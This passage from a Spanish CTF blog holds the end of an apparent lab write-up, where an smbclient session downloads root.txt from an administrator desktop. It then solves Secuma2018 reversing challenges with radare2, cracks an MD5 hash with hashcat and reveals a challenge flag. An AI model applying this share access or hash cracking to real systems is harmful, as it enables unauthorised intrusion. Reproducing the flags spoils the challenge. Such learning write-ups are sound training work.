</span></span><span style="display:flex;"><span>  NTUSER.DAT{3eb2f144-75be-11e8-91df-080027cb2f82}.TM.blf    AHS    65536  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  NTUSER.DAT{3eb2f144-75be-11e8-91df-080027cb2f82}.TMContainer00000000000000000001.regtrans-ms    AHS   524288  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  NTUSER.DAT{3eb2f144-75be-11e8-91df-080027cb2f82}.TMContainer00000000000000000002.regtrans-ms    AHS   524288  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  ntuser.ini                         HS       20  Fri Jun 22 18:44:28 2018
</span></span><span style="display:flex;"><span>  OneDrive                           DR        0  Thu Jun 21 15:01:39 2018
</span></span><span style="display:flex;"><span>  Pictures                           DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  PrintHood                         DHS        0  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  Recent                            DHS        0  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  Saved Games                        DR        0  Sun Aug 19 12:01:18 2018
</span></span><span style="display:flex;"><span>  Searches                           DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  SendTo                            DHS        0  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  Start Menu                        DHS        0  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  Templates                         DHS        0  Thu Jun 21 19:49:32 2018
</span></span><span style="display:flex;"><span>  Videos                             DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                12978687 blocks of size 4096. 7978034 blocks available
</span></span><span style="display:flex;"><span>smb: \Users\administrator\&gt; cd Desktop
</span></span><span style="display:flex;"><span>smb: \Users\administrator\Desktop\&gt; ls
</span></span><span style="display:flex;"><span>  .                                  DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  ..                                 DR        0  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  desktop.ini                       AHS      282  Sun Aug 19 12:01:17 2018
</span></span><span style="display:flex;"><span>  Microsoft Edge.lnk                  A     1417  Fri Jun 22 18:45:06 2018
</span></span><span style="display:flex;"><span>  root.txt                            A       34  Sun Aug 19 12:03:54 2018
</span></span><span style="display:flex;"><span>get root
</span></span><span style="display:flex;"><span>                12978687 blocks of size 4096. 7979181 blocks available
</span></span><span style="display:flex;"><span>smb: \Users\administrator\Desktop\&gt; get root.txt
</span></span><span style="display:flex;"><span>getting file \Users\administrator\Desktop\root.txt of size 34 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
</span></span><span style="display:flex;"><span>smb: \Users\administrator\Desktop\&gt; quit
</span></span></code></pre></div><p>Así que después de descargar el archivo, tenemos la flag.</p>
<h1 id="cat-roottxt">cat root.txt</h1>
<p>&hellip; We got root flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>Secuma2018 - Writeups</title><link>https://www.xbyte.mx/posts/secuma2018-writeups/</link><pubDate>Tue, 20 Nov 2018 22:54:21 -0600</pubDate><guid>https://www.xbyte.mx/posts/secuma2018-writeups/</guid><description>&lt;p&gt;El pasado 15 de noviembre, sec/UMA y Bitup realizaron un Capture The Flag
(CTF) online y presencial en la universidad de Málaga, España.
Afortunadamente pude participar de manera remota resolviendo algunos retos,
de los cuales comparto la solución a dichos retos. Las categorías fueron
Reversing, Web, Stego, Forensics, Crypto, Networking y Quizz.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Omito las soluciones a los retos de Web ya que aun no han salido de manera
oficial los writeups. Quizz lo omito porque google+^f.&lt;/p&gt;</description><content type="html"><![CDATA[<p>El pasado 15 de noviembre, sec/UMA y Bitup realizaron un Capture The Flag
(CTF) online y presencial en la universidad de Málaga, España.
Afortunadamente pude participar de manera remota resolviendo algunos retos,
de los cuales comparto la solución a dichos retos. Las categorías fueron
Reversing, Web, Stego, Forensics, Crypto, Networking y Quizz.</p>
<blockquote>
<p>Omito las soluciones a los retos de Web ya que aun no han salido de manera
oficial los writeups. Quizz lo omito porque google+^f.</p>
</blockquote>
<h2 id="reversing">Reversing</h2>
<h3 id="cs30-150pts">cs30 (150pts)</h3>
<p>Se ha encontrado un ejecutable en los servidores de E-Corp tras el ataque
DDoS que recibieron hace unos días. Tenemos razones para pensar que hay un
miembro infiltrado de la organización criminal en ECorp. Como miembros de
allsafe cybersecurity, debemos conseguir acceder al archivo ya que creemos
que podría ser un mensaje para su infiltrado.</p>
<hr>
<p>El primer reto nos entrega un ejecutable, el cual tras validarlo con file
veremos que se trata de un ejecutable ELF64:</p>
<p><img src="/img/secuma18/r1-file.png" alt="file over fsociety"></p>
<p>Tras esto, abrimos el binario en radare2 y le damos una pasada de análisis
experimental.</p>
<p><img src="/img/secuma18/r1-aaaa.png" alt="r2 AAAA"></p>
<p>Analicemos los imports de este binario:</p>
<table>
  <thead>
      <tr>
          <th>Num</th>
          <th>Vaddr</th>
          <th>Bind</th>
          <th>Type</th>
          <th>Name</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>0x00000e50</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::compare(std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;const&amp;)const</code></td>
      </tr>
      <tr>
          <td>2</td>
          <td>0x00000e60</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sprintf</code></td>
      </tr>
      <tr>
          <td>3</td>
          <td>0x00000e70</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::c_str()const</code></td>
      </tr>
      <tr>
          <td>4</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>FUNC</td>
          <td><code>__cxa_finalize</code></td>
      </tr>
      <tr>
          <td>5</td>
          <td>0x00000e80</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::basic_string(std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;const&amp;)</code></td>
      </tr>
      <tr>
          <td>6</td>
          <td>0x00000e90</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>memset</code></td>
      </tr>
      <tr>
          <td>7</td>
          <td>0x00000ea0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::~basic_string()</code></td>
      </tr>
      <tr>
          <td>8</td>
          <td>0x00000eb0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>memcpy</code></td>
      </tr>
      <tr>
          <td>9</td>
          <td>0x00000ec0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__cxa_atexit</code></td>
      </tr>
      <tr>
          <td>10</td>
          <td>0x00000ed0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;std::operator&lt;&lt;&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;(std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;,std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;const&amp;)</code></td>
      </tr>
      <tr>
          <td>11</td>
          <td>0x00000ee0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;std::operator&lt;&lt;&lt;std::char_traits&lt;char&gt;&gt;(std::basic_ostream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;,charconst*)</code></td>
      </tr>
      <tr>
          <td>12</td>
          <td>0x00000ef0</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::allocator&lt;char&gt;::~allocator()</code></td>
      </tr>
      <tr>
          <td>13</td>
          <td>0x00000f00</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__stack_chk_fail</code></td>
      </tr>
      <tr>
          <td>14</td>
          <td>0x00000f10</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::operator=(std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;&amp;&amp;)</code></td>
      </tr>
      <tr>
          <td>15</td>
          <td>0x00000f20</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::basic_istream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;std::operator&gt;&gt;&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;(std::basic_istream&lt;char,std::char_traits&lt;char&gt;&gt;&amp;,std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;&amp;)</code></td>
      </tr>
      <tr>
          <td>16</td>
          <td>0x00000f30</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::basic_string(charconst*,std::allocator&lt;char&gt;const&amp;)</code></td>
      </tr>
      <tr>
          <td>17</td>
          <td>0x00000f40</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::basic_string()</code></td>
      </tr>
      <tr>
          <td>18</td>
          <td>0x00000f50</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::__cxx11::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt;&gt;::length()const</code></td>
      </tr>
      <tr>
          <td>19</td>
          <td>0x00000f60</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::ios_base::Init::Init()</code></td>
      </tr>
      <tr>
          <td>20</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__gxx_personality_v0</code></td>
      </tr>
      <tr>
          <td>21</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>_ITM_deregisterTMCloneTable</code></td>
      </tr>
      <tr>
          <td>22</td>
          <td>0x00000f70</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>_Unwind_Resume</code></td>
      </tr>
      <tr>
          <td>23</td>
          <td>0x00000f80</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::allocator&lt;char&gt;::allocator()</code></td>
      </tr>
      <tr>
          <td>24</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__libc_start_main</code></td>
      </tr>
      <tr>
          <td>25</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>__gmon_start__</code></td>
      </tr>
      <tr>
          <td>26</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>_ITM_registerTMCloneTable</code></td>
      </tr>
      <tr>
          <td>27</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::ios_base::Init::~Init()</code></td>
      </tr>
      <tr>
          <td>4</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>FUNC</td>
          <td><code>__cxa_finalize</code></td>
      </tr>
      <tr>
          <td>20</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__gxx_personality_v0</code></td>
      </tr>
      <tr>
          <td>21</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>_ITM_deregisterTMCloneTable</code></td>
      </tr>
      <tr>
          <td>24</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>__libc_start_main</code></td>
      </tr>
      <tr>
          <td>25</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>__gmon_start__</code></td>
      </tr>
      <tr>
          <td>26</td>
          <td>0x00000000</td>
          <td>WEAK</td>
          <td>NOTYPE</td>
          <td><code>_ITM_registerTMCloneTable</code></td>
      </tr>
      <tr>
          <td>27</td>
          <td>0x00000000</td>
          <td>GLOBAL</td>
          <td>FUNC</td>
          <td><code>sym.imp.std::ios_base::Init::~Init()</code></td>
      </tr>
  </tbody>
</table>
<p>Listamos las funciones las cuales tenemos lo siguiente:</p>
<table>
  <thead>
      <tr>
          <th>direccion</th>
          <th>nbbs</th>
          <th>size</th>
          <th>nombre</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>0x00000249</td>
          <td>7</td>
          <td>67-&gt;112</td>
          <td><code>fcn.00000249</code></td>
      </tr>
      <tr>
          <td>0x00000e28</td>
          <td>3</td>
          <td>23</td>
          <td><code>sym._init</code></td>
      </tr>
      <tr>
          <td>0x00000e50</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char __::compare_std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__const__const</code></td>
      </tr>
      <tr>
          <td>0x00000e60</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.imp.sprintf</code></td>
      </tr>
      <tr>
          <td>0x00000e70</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char __::c_str__const</code></td>
      </tr>
      <tr>
          <td>0x00000e80</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char __::basic_string_std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__const</code></td>
      </tr>
      <tr>
          <td>0x00000e90</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.imp.memset</code></td>
      </tr>
      <tr>
          <td>0x00000ea0</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char __::_basic_string</code></td>
      </tr>
      <tr>
          <td>0x00000eb0</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.imp.memcpy</code></td>
      </tr>
      <tr>
          <td>0x00000ec0</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.imp.__cxa_atexit</code></td>
      </tr>
      <tr>
          <td>0x00000ed0</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::basic_ostream_char_std::char_traits_char___std::operator___char_std::char_traits_char__std::allocator_char___std::basic_ostream_char_std::char_traits_char____std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__const</code></td>
      </tr>
      <tr>
          <td>0x00000ee0</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst</code></td>
      </tr>
      <tr>
          <td>0x00000ef0</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::allocator_char_::_allocator</code></td>
      </tr>
      <tr>
          <td>0x00000f00</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.imp.__stack_chk_fail</code></td>
      </tr>
      <tr>
          <td>0x00000f10</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char\__::operator__std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char</code></td>
      </tr>
      <tr>
          <td>0x00000f20</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::basic_istream_char_std::char_traits_char___std::operator___char_std::char_traits_char__std::allocator_char___std::basic_istream_char_std::char_traits_char____std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char</code></td>
      </tr>
      <tr>
          <td>0x00000f30</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char\__::basic_string_charconst__std::allocator_char_const</code></td>
      </tr>
      <tr>
          <td>0x00000f40</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char\__::basic_string</code></td>
      </tr>
      <tr>
          <td>0x00000f50</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char\__::length__const</code></td>
      </tr>
      <tr>
          <td>0x00000f60</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::ios_base::Init::Init</code></td>
      </tr>
      <tr>
          <td>0x00000f70</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.imp._Unwind_Resume</code></td>
      </tr>
      <tr>
          <td>0x00000f80</td>
          <td>1</td>
          <td>6</td>
          <td><code>sym.std::allocator_char_::allocator</code></td>
      </tr>
      <tr>
          <td>0x00000f90</td>
          <td>1</td>
          <td>6</td>
          <td><code>sub.__cxa_finalize_f90</code></td>
      </tr>
      <tr>
          <td>0x00000fa0</td>
          <td>1</td>
          <td>43</td>
          <td><code>entry0</code></td>
      </tr>
      <tr>
          <td>0x00000fd0</td>
          <td>4</td>
          <td>50-&gt;40</td>
          <td><code>sym.deregister_tm_clones</code></td>
      </tr>
      <tr>
          <td>0x00001010</td>
          <td>4</td>
          <td>66-&gt;57</td>
          <td><code>sym.register_tm_clones</code></td>
      </tr>
      <tr>
          <td>0x00001060</td>
          <td>5</td>
          <td>58-&gt;51</td>
          <td><code>sym.__do_global_dtors_aux</code></td>
      </tr>
      <tr>
          <td>0x000010a0</td>
          <td>1</td>
          <td>10</td>
          <td><code>entry1.init</code></td>
      </tr>
      <tr>
          <td>0x000010aa</td>
          <td>4</td>
          <td>65</td>
          <td><code>sym.check_std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char___std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char</code></td>
      </tr>
      <tr>
          <td>0x000010eb</td>
          <td>3</td>
          <td>522</td>
          <td><code>sym.flag</code></td>
      </tr>
      <tr>
          <td>0x000012f5</td>
          <td>8</td>
          <td>634-&gt;498</td>
          <td><code>main</code></td>
      </tr>
      <tr>
          <td>0x0000156f</td>
          <td>4</td>
          <td>73</td>
          <td><code>sub.std::ios_base::Init._Init_56f</code></td>
      </tr>
      <tr>
          <td>0x000015b8</td>
          <td>1</td>
          <td>21</td>
          <td><code>sym._GLOBAL__sub_I__Z5checkNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES4</code></td>
      </tr>
      <tr>
          <td>0x000015ce</td>
          <td>1</td>
          <td>27</td>
          <td><code>sym.MD5::MD5</code></td>
      </tr>
      <tr>
          <td>0x000015ea</td>
          <td>1</td>
          <td>95</td>
          <td><code>sym.MD5::MD5_std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__const</code></td>
      </tr>
      <tr>
          <td>0x0000164a</td>
          <td>1</td>
          <td>84</td>
          <td><code>sym.MD5::init</code></td>
      </tr>
      <tr>
          <td>0x0000169e</td>
          <td>4</td>
          <td>175</td>
          <td><code>sym.MD5::decode_unsignedint__unsignedcharconst__unsignedint</code></td>
      </tr>
      <tr>
          <td>0x0000174e</td>
          <td>4</td>
          <td>215</td>
          <td><code>sym.MD5::encode_unsignedchar__unsignedintconst__unsignedint</code></td>
      </tr>
      <tr>
          <td>0x00001826</td>
          <td>1</td>
          <td>1021</td>
          <td><code>sym.MD5::transform_unsignedcharconst</code></td>
      </tr>
      <tr>
          <td>0x0000247e</td>
          <td>9</td>
          <td>306</td>
          <td><code>sym.MD5::update_unsignedcharconst__unsignedint</code></td>
      </tr>
      <tr>
          <td>0x000025b0</td>
          <td>1</td>
          <td>44</td>
          <td><code>sym.MD5::update_charconst__unsignedint</code></td>
      </tr>
      <tr>
          <td>0x000025dc</td>
          <td>8</td>
          <td>279</td>
          <td><code>sym.MD5::finalize</code></td>
      </tr>
      <tr>
          <td>0x000026f4</td>
          <td>9</td>
          <td>307-&gt;255</td>
          <td><code>sym.MD5::hexdigest_abi:cxx11___const</code></td>
      </tr>
      <tr>
          <td>0x00002827</td>
          <td>2</td>
          <td>98-&gt;103</td>
          <td><code>sym.operator___std::ostream__MD5</code></td>
      </tr>
      <tr>
          <td>0x000028a3</td>
          <td>1</td>
          <td>5</td>
          <td><code>loc.000028a3</code></td>
      </tr>
      <tr>
          <td>0x000028af</td>
          <td>3</td>
          <td>113</td>
          <td><code>sym.md5_std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char</code></td>
      </tr>
      <tr>
          <td>0x00002920</td>
          <td>4</td>
          <td>73</td>
          <td><code>sym.__static_initialization_and_destruction_0_int_int</code></td>
      </tr>
      <tr>
          <td>0x00002969</td>
          <td>1</td>
          <td>21</td>
          <td><code>sym._GLOBAL__sub_I__ZN3MD5C2Ev</code></td>
      </tr>
      <tr>
          <td>0x0000297e</td>
          <td>1</td>
          <td>33</td>
          <td><code>sym.MD5::F_unsignedint_unsignedint_unsignedint</code></td>
      </tr>
      <tr>
          <td>0x000029a0</td>
          <td>1</td>
          <td>33</td>
          <td><code>sym.MD5::G_unsignedint_unsignedint_unsignedint</code></td>
      </tr>
      <tr>
          <td>0x000029c2</td>
          <td>1</td>
          <td>24</td>
          <td><code>sym.MD5::H_unsignedint_unsignedint_unsignedint</code></td>
      </tr>
      <tr>
          <td>0x000029da</td>
          <td>1</td>
          <td>26</td>
          <td><code>sym.MD5::I_unsignedint_unsignedint_unsignedint</code></td>
      </tr>
      <tr>
          <td>0x000029f4</td>
          <td>1</td>
          <td>24</td>
          <td><code>sym.MD5::rotate_left_unsignedint_int</code></td>
      </tr>
      <tr>
          <td>0x00002a0c</td>
          <td>1</td>
          <td>106</td>
          <td><code>sym.MD5::FF_unsignedint__unsignedint_unsignedint_unsignedint_unsignedint_unsignedint_unsignedint</code></td>
      </tr>
      <tr>
          <td>0x00002a76</td>
          <td>1</td>
          <td>106</td>
          <td><code>sym.MD5::GG_unsignedint__unsignedint_unsignedint_unsignedint_unsignedint_unsignedint_unsignedint</code></td>
      </tr>
      <tr>
          <td>0x00002ae0</td>
          <td>1</td>
          <td>89</td>
          <td><code>sym.MD5::HH_unsignedint__unsignedint_unsignedint_unsignedint_unsignedint_unsignedint_unsignedint</code></td>
      </tr>
      <tr>
          <td>0x00002b39</td>
          <td>1</td>
          <td>3</td>
          <td><code>fcn.00002b39</code></td>
      </tr>
      <tr>
          <td>0x00002b4a</td>
          <td>1</td>
          <td>106</td>
          <td><code>sym.MD5::II_unsignedint__unsignedint_unsignedint_unsignedint_unsignedint_unsignedint_unsignedint</code></td>
      </tr>
      <tr>
          <td>0x00002bc0</td>
          <td>4</td>
          <td>101</td>
          <td><code>sym.__libc_csu_init</code></td>
      </tr>
      <tr>
          <td>0x00002c30</td>
          <td>1</td>
          <td>2</td>
          <td><code>sym.__libc_csu_fini</code></td>
      </tr>
      <tr>
          <td>0x00002c34</td>
          <td>1</td>
          <td>9</td>
          <td><code>sym._fini</code></td>
      </tr>
  </tbody>
</table>
<p>Tras analizar el tamaño de las funciones y reconocer que estamos tratando
con un programa en C++, vamos a la función main a ver que sucede:</p>
<p><img src="/img/secuma18/r1-pdf-main.png" alt="pdf de main"></p>
<p>Lo primero que resalta es el string str.8a24367a1f46c141048752f2d5bbd14b,
tras recordar que varias de las funciones tienen la palabra md5 en sus
nombres, esto pareciera algún indicativo hacia la flag. Continuemos sobre
las instrucciones.</p>
<p><img src="/img/secuma18/r1-alloc.png" alt="alloc"></p>
<p>Las primeras instrucciones se tratan de allocators que reservan la memoria
para los strings que usa la funcion main. Podemos ver por ejemplo que
RBP-0xc0 tiene el valor del string en cuestión que estábamos revisando en el
bloque pasado. Las instrucciones son las siguientes:</p>
<p><img src="/img/secuma18/r1-printf.png" alt="ostream"></p>
<p>El siguiente bloque se encarga de imprimir en pantalla el mensaje
&ldquo;Introduzca la contraseña: &quot; y &ldquo;\n&rdquo;</p>
<p><img src="/img/secuma18/r1-scanf.png" alt="istream"></p>
<p>El siguiente se encarga de tomar el valor introducido y guardarlo en una
variable tipo string ubicada en RBP-0xa0.</p>
<p><img src="/img/secuma18/r1-asigna.png" alt="reasigna"></p>
<p>Esta variable es reasignada para conservar la original y trabajar con una
copia.</p>
<p><img src="/img/secuma18/r1-md5.png" alt="md5 del valor ingresado"></p>
<p>Como se podía intuir, se le pasa la variable con el valor ingresado a la
función md5, la cual almacena el resultado en RBP-0x40</p>
<p><img src="/img/secuma18/r1-clean.png" alt="Muevo y limpio"></p>
<p>Después el valor de RBP-0x40 pasa a ser de RBP-0x80, tenemos unos procesos
de limpieza y imprimimos &ldquo;\n&rdquo; para no llenar la pantalla.</p>
<p><img src="/img/secuma18/r1-check.png" alt="check"></p>
<p>En esta parte, asigno local_c0h (string hasta arriba en main) y local_80h
hacia local_40h y local_60h. Ambas se pasan a la función check. Veamos que
hace esta función:</p>
<p><img src="/img/secuma18/r1-pdf-check.png" alt="función check"></p>
<p>Básicamente compara sus dos argumentos y devuelvo 1 si son iguales o 0 si
son diferentes, invertido el asunto. Continuamos con el siguiente bloque de
instrucciones:</p>
<p><img src="/img/secuma18/r1-if.png" alt="función check"></p>
<p>Empezamos por salvar el valor de EAX en EBX, tenemos un proceso de limpieza
y continuamos con un test sobre BL, que es básicamente el valor 1 si el
string es igual o 0 si es diferente. Si check fue 1, la siguiente parte je
no brincara y nos mandara a sym.flag (tal vez aquí se genera la flag). Si el
check por otra parte devuelve 0, entonces el je si se ejecutara y nos
mandara un mensaje diciendo que es incorrecto.</p>
<p>A partir de aquí tenemos dos formas, romper el hash md5 o romper la función
flag. Hagamos ambas :D</p>
<ol>
<li>Cracker la hash md5</li>
</ol>
<p>En mi caso para identificar el valor que genero el hash, use hashcat de la
siguiente manera:</p>
<p><img src="/img/secuma18/r1-pass.png" alt="función check"></p>
<ol start="2">
<li>Reversing de función flag</li>
</ol>
<p><img src="/img/secuma18/r1-flag1.png" alt="función flag1"></p>
<p>Lo primero que vemos al llegar a la función flag es que se guarda mucha
información en el stack, desde RBP-0x60 hasta RBP-0x18, guardando muchos
caracteres que son reconocibles.</p>
<p><img src="/img/secuma18/r1-flag2.png" alt="función flag1"></p>
<p>Después vemos que hay un string raro, diciendo &ldquo;OnE_oRzr\n&rdquo; que pareciera
ser con lo que trabaja en las siguientes funciones. Trabaja con substrings
de ese string mas el resultado que se almacena en RAX.</p>
<p><img src="/img/secuma18/r1-flag3.png" alt="función flag1"></p>
<p>Esto sigue hasta el final de la función, donde antes de salir se valida el
canario de la muerte. También tenemos un bonito NOP haciendo bulto.</p>
<p>Para agilizar este resultado, decidí resolverlo por análisis dinámico,
iniciando el programa y colocando el RIP sobre esta función, ya que no
requiere nada previo ni devuelve algún valor.</p>
<p><img src="/img/secuma18/r1-flag4.png" alt="función flag1"></p>
<p>Usamos ese NOP como breakpoint y la flag se libera ante nosotros.</p>
<p><strong>secuma18{OnE_oR_zEro}</strong></p>
<h3 id="breakcorp-300pts">brEakCORP (300pts)</h3>
<p>If could you break the restriction, I will be so happy. I think that you can
do it.</p>
<hr>
<p>Para el segundo reto de reversing, tenemos nuevamente un ejecutable ELF64:</p>
<p><img src="/img/secuma18/r2-fil2.png" alt="file de brEakCORP"></p>
<p>Cargamos el ejecutable en radare2 y comenzamos por el análisis experimental:</p>
<p><img src="/img/secuma18/r2-load.png" alt="funciones de brEakCORP"></p>
<p>Listamos las funciones en donde no vemos otras funciones locales aparte de
main.</p>
<p><img src="/img/secuma18/r2-imports.png" alt="imports de brEakCORP"></p>
<p>Los imports nos dicen lo mismo de las funciones, no hay nada extraño hasta
el momento. Analicemos main:</p>
<p><img src="/img/secuma18/r2-main1.png" alt="bloque1 de brEakCORP"></p>
<p>Lo primero que notamos, es que hay muchos caracteres cargándose en sobre el
stack, una señal clara que aquí se utilizaran para alguna función.</p>
<p><img src="/img/secuma18/r2-main2.png" alt="bloque2 de brEakCORP"></p>
<p>Termina de subir cosas al stack y se guardan algunos enteros. Interesante
que local_ch y local_a8h se inician en 0, mientras que local_8h se inicia en
4815159197. Después tenemos un brinco muy adelante hasta 0x400728.</p>
<p><img src="/img/secuma18/r2-main3.png" alt="bloque3 de brEakCORP"></p>
<p>Lo que tenemos a continuación es probablemente un ciclo for, ya que mientras
local_ch (que vale 0) sea menor igual a 26, no podrá salir del bucle.</p>
<p><img src="/img/secuma18/r2-main4.png" alt="bloque4 de brEakCORP"></p>
<p>Termina nuestro bucle de operaciones matemáticas y llamamos a printf, scanf
y fflush, para poner en pantalla el mensaje de &ldquo;Ecorp Enter Access Code: &quot; y
tomar el valor entero que ingrese el usuario. Este se almacena en local_a8h.</p>
<p><img src="/img/secuma18/r2-main5.png" alt="bloque5 de brEakCORP"></p>
<p>Continuamos con un cmp, en donde se evaluá si el valor que ingresamos es
igual a local_8h.</p>
<p>Si es verdadero, local_18h es igual a 0 y brincamos a 0x4007a9, en donde se
compara local_18h contra 26, que es la longitud del flag. Básicamente
construye el flag y lo imprime en pantalla al finalizar.</p>
<p>En caso falso, imprime &ldquo;Access_Denied&rdquo; y sale de main devolviendo 0.</p>
<p>Continuemos ahora con el análisis dinámico.</p>
